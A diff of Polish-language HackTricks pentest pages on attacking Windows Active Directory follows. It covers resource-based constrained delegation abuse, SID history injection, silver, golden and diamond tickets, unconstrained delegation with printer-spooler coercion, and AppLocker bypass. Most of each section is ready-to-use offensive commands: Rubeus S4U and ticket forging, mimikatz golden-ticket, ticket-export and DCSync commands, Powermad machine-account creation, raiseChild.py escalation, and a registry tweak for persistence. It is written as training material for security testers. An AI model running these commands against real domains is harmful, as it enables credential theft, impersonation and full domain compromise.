Jednakże, jeśli **TGS** użyte w **S4U2Proxy** **NIE jest Forwardable**, próba nadużycia **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **Delegację Ograniczoną na Bazie Zasobów, to zadziała** (to nie jest luka, to funkcja, najwyraźniej).
Jednakże, jeśli **TGS** użyty w **S4U2Proxy** **NIE jest Forwardable**, próba nadużycia **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **Delegację Ograniczoną na Bazie Zasobów, to zadziała**.
### Struktura Ataku
@ -24,39 +24,39 @@ Jednakże, jeśli **TGS** użyte w **S4U2Proxy** **NIE jest Forwardable**, prób
Załóżmy, że atakujący ma już **uprawnienia równoważne do zapisu nad komputerem ofiary**.
1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy jedno** (“Usługa A”). Zauważ, że **jakikolwiek** _Użytkownik Administrator_ bez żadnych innych specjalnych uprawnień może **utworzyć** do 10 **obiektów Komputera (**_**MachineAccountQuota**_**)** i ustawić im **SPN**. Więc atakujący może po prostu stworzyć obiekt Komputera i ustawić SPN.
2. Atakujący **nadużywa swojego uprawnienia ZAPISU** nad komputerem ofiary (Usługa B), aby skonfigurować **delegację ograniczoną na bazie zasobów, aby pozwolić Usłudze A na podszywanie się pod dowolnego użytkownika** w stosunku do tego komputera ofiary (Usługa B).
1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy jedno** (“Usługa A”). Zauważ, że **jakikolwiek** _Użytkownik Administrator_ bez żadnych innych specjalnych uprawnień może **utworzyć** do 10 obiektów Komputerów (**_MachineAccountQuota_**) i ustawić im **SPN**. Więc atakujący może po prostu stworzyć obiekt Komputera i ustawić SPN.
2. Atakujący **nadużywa swojego uprawnienia ZAPISU** nad komputerem ofiary (Usługa B), aby skonfigurować **delegację ograniczoną na bazie zasobów, aby pozwolić Usłudze A na podszywanie się pod dowolnego użytkownika** wobec tego komputera ofiary (Usługa B).
3. Atakujący używa Rubeus, aby przeprowadzić **pełny atak S4U** (S4U2Self i S4U2Proxy) z Usługi A do Usługi B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**.
1. S4U2Self (z konta SPN kompromitowanego/tworzonego): Prosi o **TGS Administratora dla mnie** (Nie Forwardable).
1. S4U2Self (z konta SPN, które zostało skompromitowane/stworzone): Prosi o **TGS Administratora dla mnie** (Nie Forwardable).
2. S4U2Proxy: Używa **nie Forwardable TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**.
3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz Delegację Ograniczoną na Bazie Zasobów, to zadziała.
4. Atakujący może **przekazać bilet** i **podszyć się** pod użytkownika, aby uzyskać **dostęp do UsługiB ofiary**.
4. Atakujący może **przekazać bilet** i **podszyć się** pod użytkownika, aby uzyskać **dostęp do ofiary Usługi B**.
Aby sprawdzić _**MachineAccountQuota**_ domeny, możesz użyć:
```powershell
```bash
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
## Atak
### Tworzenie obiektu komputera
Możesz stworzyć obiekt komputera w obrębie domeny używając [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
```powershell
Możesz stworzyć obiekt komputera w obrębie domeny używając **[powermad](https://github.com/Kevin-Robertson/Powermad):**
```bash
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
```
### Konfigurowanie R**esource-based Constrained Delegation**
### Konfigurowanie delegacji ograniczonej opartej na zasobach
**Używając modułu PowerShell activedirectory**
```powershell
```bash
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**Używanie powerview**
```powershell
```bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
@ -81,31 +81,31 @@ Teraz atak może być przeprowadzony:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
Możesz wygenerować więcej biletów, pytając tylko raz, używając parametru `/altservice` w Rubeus:
Możesz wygenerować więcej biletów dla większej liczby usług, po prostu pytając raz, używając parametru `/altservice` w Rubeus:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
> [!CAUTION]
> Zauważ, że użytkownicy mają atrybut o nazwie "**Cannot be delegated**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz w stanie go podszyć. Ta właściwość jest widoczna w bloodhound.
> Zauważ, że użytkownicy mają atrybut o nazwie "**Nie można delegować**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz mógł go udawać. Ta właściwość jest widoczna w bloodhound.
### Accessing
### Uzyskiwanie dostępu
Ostatnia linia poleceń wykona **pełny atak S4U i wstrzyknie TGS** z Administratora do hosta ofiary w **pamięci**.\
W tym przykładzie zażądano TGS dla usługi **CIFS** od Administratora, więc będziesz mógł uzyskać dostęp do **C$**:
```bash
ls \\victim.domain.local\C$
```
### Nadużywanie różnych biletów serwisowych
### Wykorzystanie różnych biletów serwisowych
Dowiedz się o [**dostępnych biletach serwisowych tutaj**](silver-ticket.md#available-services).
## Błędy Kerberos
- **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że kerberos jest skonfigurowany tak, aby nie używać DES lub RC4, a Ty dostarczasz tylko hash RC4. Podaj Rubeus przynajmniej hash AES256 (lub po prostu dostarcz mu hashe rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu DC i kerberos nie działa poprawnie.
- **`preauth_failed`**: Oznacza to, że podana nazwa użytkownika + hashe nie działają przy logowaniu. Mogłeś zapomnieć wstawić "$" w nazwie użytkownika podczas generowania hashy (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że Kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a Ty dostarczasz tylko hasz RC4. Podaj Rubeus przynajmniej hasz AES256 (lub po prostu dostarcz mu hasze rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu DC i Kerberos nie działa prawidłowo.
- **`preauth_failed`**: Oznacza to, że podana nazwa użytkownika + hasze nie działają przy logowaniu. Mogłeś zapomnieć o dodaniu "$" do nazwy użytkownika podczas generowania haszy (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KDC_ERR_BADOPTION`**: Może to oznaczać:
- Użytkownik, którego próbujesz naśladować, nie ma dostępu do żądanej usługi (ponieważ nie możesz go naśladować lub nie ma wystarczających uprawnień)
- Użytkownik, którego próbujesz udawać, nie ma dostępu do żądanej usługi (ponieważ nie możesz go udawać lub nie ma wystarczających uprawnień)
- Żądana usługa nie istnieje (jeśli prosisz o bilet dla winrm, ale winrm nie działa)
- Utworzony fakecomputer stracił swoje uprawnienia do podatnego serwera i musisz je przywrócić.
@ -115,5 +115,6 @@ Dowiedz się o [**dostępnych biletach serwisowych tutaj**](silver-ticket.md#ava
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Atak wstrzykiwania historii SID
Celem **ataku wstrzykiwania historii SID** jest wspieranie **migracji użytkowników między domenami**, zapewniając jednocześnie ciągły dostęp do zasobów z poprzedniej domeny. Osiąga się to poprzez **włączenie poprzedniego identyfikatora zabezpieczeń (SID) użytkownika do historii SID** jego nowe konto. Należy zauważyć, że ten proces można zmanipulować, aby przyznać nieautoryzowany dostęp, dodając SID grupy o wysokich uprawnieniach (takiej jak Enterprise Admins lub Domain Admins) z domeny macierzystej do historii SID. To wykorzystanie przyznaje dostęp do wszystkich zasobów w domenie macierzystej.
Celem **ataku wstrzykiwania historii SID** jest wspieranie **migracji użytkowników między domenami** przy jednoczesnym zapewnieniu dostępu do zasobów z poprzedniej domeny. Osiąga się to poprzez **włączenie poprzedniego identyfikatora zabezpieczeń (SID) użytkownika do historii SID** jego nowe konto. Co ważne, proces ten można zmanipulować, aby przyznać nieautoryzowany dostęp, dodając SID grupy o wysokich uprawnieniach (takiej jak Enterprise Admins lub Domain Admins) z domeny macierzystej do historii SID. To wykorzystanie przyznaje dostęp do wszystkich zasobów w domenie macierzystej.
Istnieją dwie metody wykonania tego ataku: poprzez stworzenie **Złotego Biletu** lub **Diamentowego Biletu**.
@ -13,9 +13,37 @@ Aby zidentyfikować SID dla grupy **"Enterprise Admins"**, należy najpierw zlok
Można również użyć grupy **Domain Admins**, której SID kończy się na **512**.
Innym sposobem na znalezienie SID grupy z innej domeny (na przykład "Domain Admins") jest:
```powershell
```bash
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
> [!WARNING]
> Zauważ, że możliwe jest wyłączenie historii SID w relacji zaufania, co spowoduje niepowodzenie tego ataku.
Zgodnie z [**dokumentacją**](https://technet.microsoft.com/library/cc835085.aspx):
- **Wyłączenie SIDHistory w zaufaniach lasów** za pomocą narzędzia netdom (`netdom trust /domain: /EnableSIDHistory:no na kontrolerze domeny`)
- **Zastosowanie kwarantanny filtrów SID do zaufania zewnętrznych** za pomocą narzędzia netdom (`netdom trust /domain: /quarantine:yes na kontrolerze domeny`)
- **Zastosowanie filtrowania SID do zaufania domen w obrębie jednego lasu** nie jest zalecane, ponieważ jest to nieobsługiwana konfiguracja i może powodować zmiany łamiące. Jeśli domena w lesie jest niegodna zaufania, nie powinna być członkiem lasu. W tej sytuacji konieczne jest najpierw podzielenie zaufanych i niegodnych zaufania domen na oddzielne lasy, gdzie można zastosować filtrowanie SID do zaufania między lasami.
Sprawdź ten post, aby uzyskać więcej informacji na temat obejścia tego: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
### Diamond Ticket (Rubeus + KRBTGT-AES256)
Ostatnim razem, gdy to próbowałem, musiałem dodać argument **`/ldap`**.
```bash
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
# Or a ptt with a golden ticket
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
#e.g.
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
# You can use "Administrator" as username or any other string
```
### Złoty Bilet (Mimikatz) z KRBTGT-AES256
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
@ -39,17 +67,8 @@ Aby uzyskać więcej informacji na temat złotych biletów, sprawdź:
golden-ticket.md
{{#endref}}
### Bilet Diamentowy (Rubeus + KRBTGT-AES256)
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
```
Aby uzyskać więcej informacji na temat biletów diamentowych, sprawdź:
Aby uzyskać więcej informacji na temat diamentowych biletów, sprawdź:
{{#ref}}
diamond-ticket.md
@ -103,17 +122,17 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
To jest skrypt Impacket, który **automatyzuje eskalację z domeny podrzędnej do nadrzędnej**. Skrypt wymaga:
- Kontrolera domeny docelowej
- Docelowego kontrolera domeny
- Poświadczeń dla użytkownika administratora w domenie podrzędnej
Przebieg jest następujący:
- Uzyskuje SID dla grupy Enterprise Admins w domenie nadrzędnej
- Pobiera hash dla konta KRBTGT w domenie podrzędnej
- Uzyskuje SID grupy Enterprise Admins w domenie nadrzędnej
- Pobiera hash konta KRBTGT w domenie podrzędnej
- Tworzy Złoty Bilet
- Loguje się do domeny nadrzędnej
- Pobiera poświadczenia dla konta Administrator w domenie nadrzędnej
- Jeśli określono przełącznik `target-exec`, uwierzytelnia się do kontrolera domeny nadrzędnej za pomocą Psexec.
- Jeśli przełącznik `target-exec` jest określony, uwierzytelnia się do kontrolera domeny domeny nadrzędnej za pomocą Psexec.
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```

View File

@ -8,6 +8,10 @@
Atak **Silver Ticket** polega na wykorzystaniu biletów serwisowych w środowiskach Active Directory (AD). Metoda ta opiera się na **zdobyciu hasha NTLM konta serwisowego**, takiego jak konto komputera, w celu sfałszowania biletu Ticket Granting Service (TGS). Dzięki temu sfałszowanemu biletowi, atakujący może uzyskać dostęp do określonych usług w sieci, **podszywając się pod dowolnego użytkownika**, zazwyczaj dążąc do uzyskania uprawnień administracyjnych. Podkreśla się, że użycie kluczy AES do fałszowania biletów jest bardziej bezpieczne i mniej wykrywalne.
> [!WARNING]
> Bilety Silver są mniej wykrywalne niż bilety Golden, ponieważ wymagają tylko **hasha konta serwisowego**, a nie konta krbtgt. Jednak są ograniczone do konkretnej usługi, którą celują. Co więcej, wystarczy ukraść hasło użytkownika.
Co więcej, jeśli skompromitujesz **hasło konta z SPN**, możesz użyć tego hasła do stworzenia biletu Silver, podszywając się pod dowolnego użytkownika do tej usługi.
Do tworzenia biletów stosuje się różne narzędzia w zależności od systemu operacyjnego:
### On Linux
@ -18,6 +22,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### Na Windows
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
@ -28,17 +37,17 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
Usługa CIFS jest wyróżniana jako powszechny cel do uzyskania dostępu do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, również mogą być wykorzystywane do zadań i zapytań WMI.
CIFS jest wyróżniane jako powszechny cel do uzyskania dostępu do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, również mogą być wykorzystywane do zadań i zapytań WMI.
## Dostępne usługi
| Typ usługi | Usługa Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>W zależności od systemu operacyjnego także:</p><p>WSMAN</p><p>RPCSS</p> |
| Zdalne uruchamianie PowerShell | <p>HOST</p><p>HTTP</p><p>W zależności od systemu operacyjnego także:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>W niektórych przypadkach możesz po prostu poprosić o: WINRM</p> |
| Zaplanowane zadania | HOST |
| Udostępnianie plików w systemie Windows, także psexec | CIFS |
| Udostępnianie plików Windows, także psexec | CIFS |
| Operacje LDAP, w tym DCSync | LDAP |
| Narzędzia do zdalnej administracji serwerów Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Złote bilety | krbtgt |
@ -53,9 +62,13 @@ Używając **Rubeus**, możesz **poprosić o wszystkie** te bilety, używając p
- 4634: Wylogowanie konta
- 4672: Logowanie administratora
## Utrzymywanie
Aby uniknąć rotacji haseł maszyn co 30 dni, ustaw `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` lub możesz ustawić `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na większą wartość niż 30 dni, aby wskazać okres rotacji, kiedy hasło maszyny powinno być rotowane.
## Wykorzystywanie biletów usługowych
W poniższych przykładach wyobraźmy sobie, że bilet został odzyskany, podszywając się pod konto administratora.
W poniższych przykładach wyobraźmy sobie, że bilet jest pobierany, podszywając się pod konto administratora.
### CIFS
@ -126,15 +139,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
```
**Dowiedz się więcej o DCSync** na następującej stronie:
## Odniesienia
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
{{#ref}}
dcsync.md
{{#endref}}
## Odniesienia
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,48 +4,55 @@
## Unconstrained delegation
To funkcja, którą Administrator Domeny może ustawić dla dowolnego **Komputera** w domenie. Następnie, za każdym razem, gdy **użytkownik loguje się** na Komputerze, **kopie TGT** tego użytkownika będą **wysyłane w TGS** dostarczonym przez DC **i zapisywane w pamięci w LSASS**. Więc, jeśli masz uprawnienia Administratora na maszynie, będziesz mógł **zrzucić bilety i podszyć się pod użytkowników** na dowolnej maszynie.
To jest funkcja, którą Administrator Domeny może ustawić dla dowolnego **Komputera** w domenie. Następnie, za każdym razem, gdy **użytkownik loguje się** na Komputerze, **kopie TGT** tego użytkownika będą **wysyłane w TGS** dostarczanym przez DC **i zapisywane w pamięci w LSASS**. Więc, jeśli masz uprawnienia Administratora na maszynie, będziesz mógł **zrzucić bilety i podszyć się pod użytkowników** na dowolnej maszynie.
Jeśli więc administrator domeny loguje się na Komputerze z aktywowaną funkcją "Unconstrained Delegation", a ty masz lokalne uprawnienia administratora na tej maszynie, będziesz mógł zrzucić bilet i podszyć się pod Administratora Domeny wszędzie (privesc domeny).
Więc jeśli administrator domeny loguje się na Komputerze z aktywowaną funkcją "Unconstrained Delegation", a ty masz lokalne uprawnienia administratora na tej maszynie, będziesz mógł zrzucić bilet i podszyć się pod Administratora Domeny wszędzie (privesc domeny).
Możesz **znaleźć obiekty Komputerów z tym atrybutem** sprawdzając, czy atrybut [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) zawiera [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). Możesz to zrobić za pomocą filtru LDAP (userAccountControl:1.2.840.113556.1.4.803:=524288), co robi powerview:
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
```bash
# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
<strong>## ADSearch
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Export tickets with Mimikatz
</strong>privilege::debug
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer Unconstrained Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
```
Załaduj bilet Administratora (lub użytkownika ofiary) w pamięci za pomocą **Mimikatz** lub **Rubeus dla** [**Pass the Ticket**](pass-the-ticket.md)**.**\
Więcej informacji: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**Więcej informacji o Unconstrained delegation w ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
[**Więcej informacji o nieograniczonej delegacji w ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **Force Authentication**
### **Wymuszenie uwierzytelnienia**
Jeśli atakujący jest w stanie **skompromentować komputer dozwolony dla "Unconstrained Delegation"**, mógłby **oszukać** **serwer drukarki**, aby **automatycznie się zalogował** do niego **zapisując TGT** w pamięci serwera.\
Jeśli atakujący jest w stanie **skomprymować komputer dozwolony dla "Nieograniczonej Delegacji"**, mógłby **oszukać** **serwer drukarki**, aby **automatycznie zalogować się** na nim **zapisując TGT** w pamięci serwera.\
Następnie atakujący mógłby przeprowadzić **atak Pass the Ticket, aby podszyć się** pod konto komputera serwera drukarki.
Aby sprawić, by serwer drukarki zalogował się na dowolnej maszynie, możesz użyć [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
Jeśli TGT pochodzi z kontrolera domeny, możesz przeprowadzić a[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) i uzyskać wszystkie hashe z DC.\
Jeśli TGT pochodzi z kontrolera domeny, możesz przeprowadzić [**atak DCSync**](acl-persistence-abuse/index.html#dcsync) i uzyskać wszystkie hashe z DC.\
[**Więcej informacji na temat tego ataku na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**Oto inne sposoby na wymuszenie uwierzytelnienia:**
Znajdź tutaj inne sposoby na **wymuszenie uwierzytelnienia:**
{{#ref}}
printers-spooler-service-abuse.md
{{#endref}}
### Mitigacja
### Łagodzenie
- Ogranicz logowania DA/Admin do określonych usług
- Ustaw "Konto jest wrażliwe i nie może być delegowane" dla uprzywilejowanych kont.

View File

@ -1,18 +1,18 @@
# Kontrole bezpieczeństwa systemu Windows
# Windows Security Controls
{{#include ../banners/hacktricks-training.md}}
## Polityka AppLocker
## AppLocker Policy
Lista dozwolonych aplikacji to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mogą być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym złośliwym oprogramowaniem i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) to **rozwiązanie do białej listy aplikacji** firmy Microsoft, które daje administratorom systemu kontrolę nad **tym, które aplikacje i pliki mogą uruchamiać użytkownicy**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, plikami instalacyjnymi Windows, DLL, aplikacjami pakietowymi i instalatorami aplikacji pakietowych.\
Powszechną praktyką w organizacjach jest **blokowanie cmd.exe i PowerShell.exe** oraz zapisu do niektórych katalogów, **ale wszystko to można obejść**.
Powszechną praktyką w organizacjach jest **blokowanie cmd.exe i PowerShell.exe** oraz zapisu do niektórych katalogów, **ale to wszystko można obejść**.
### Sprawdzenie
### Check
Sprawdź, które pliki/rozszerzenia są na czarnej/białej liście:
```powershell
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -20,24 +20,24 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, zapewniając sposób na przeglądanie bieżącego zestawu reguł egzekwowanych w systemie:
Ta ścieżka rejestru zawiera konfiguracje i zasady stosowane przez AppLocker, co umożliwia przeglądanie bieżącego zestawu reguł egzekwowanych w systemie:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Ominięcie
- Użyteczne **zapisywalne foldery** do ominięcia polityki AppLocker: Jeśli AppLocker pozwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **zapisywalne foldery**, które możesz wykorzystać do **ominięcia tego**.
- Przydatne **zapisywalne foldery** do ominięcia polityki AppLocker: Jeśli AppLocker zezwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **zapisywalne foldery**, które możesz wykorzystać do **ominięcia tego**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Powszechnie **ufane** [**"LOLBAS"**](https://lolbas-project.github.io/) binaria mogą być również przydatne do obejścia AppLocker.
- **Źle napisane zasady mogą być również obejście**
- Na przykład, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, możesz stworzyć **folder o nazwie `allowed`** wszędzie, a będzie on dozwolony.
- Powszechnie **ufane** [**binaries "LOLBAS"**](https://lolbas-project.github.io/) mogą być również przydatne do obejścia AppLocker.
- **Źle napisane zasady mogą być również obej**
- Na przykład, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, możesz stworzyć **folder o nazwie `allowed`** gdziekolwiek, a będzie on dozwolony.
- Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**lokacjach plików wykonywalnych PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` lub `PowerShell_ISE.exe`.
- **Wymuszanie DLL rzadko włączane** z powodu dodatkowego obciążenia, jakie może nałożyć na system, oraz ilości testów wymaganych do zapewnienia, że nic się nie zepsuje. Dlatego użycie **DLL jako tylnej furtki pomoże w obejściu AppLocker**.
- **Wymuszanie DLL rzadko włączone** z powodu dodatkowego obciążenia, jakie może nałożyć na system, oraz ilości testów wymaganych do zapewnienia, że nic się nie zepsuje. Dlatego użycie **DLL jako tylnej furtki pomoże w obejściu AppLocker**.
